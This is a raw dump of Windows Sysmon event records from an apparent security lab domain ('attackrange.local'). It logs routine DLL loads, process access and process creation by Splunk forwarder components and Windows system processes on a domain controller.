DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000054734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000054732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000054730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000054729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000054728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000054725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000054720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.909{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.908{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=684772C25511E6E1EFE60723A5A08EAC,SHA256=954CEE436A56FCFC2BB62AF35B3AC5C1908C12D8D3F5C3CCD57BCDA919606FB4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017574Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:17.090{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=641C519620B4F831162467CC524EBE06,SHA256=CA807E2768301BD831EB354155F3E7CAFCCE20607F0D6641BBA9E5CBBCF5C52E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000054712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.459{7BD73061-742D-613B-8E0B-00000000F001}58486068C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.459{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.459{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000054709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.312{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.312{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.312{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.312{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.311{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.310{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.310{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.310{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.309{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 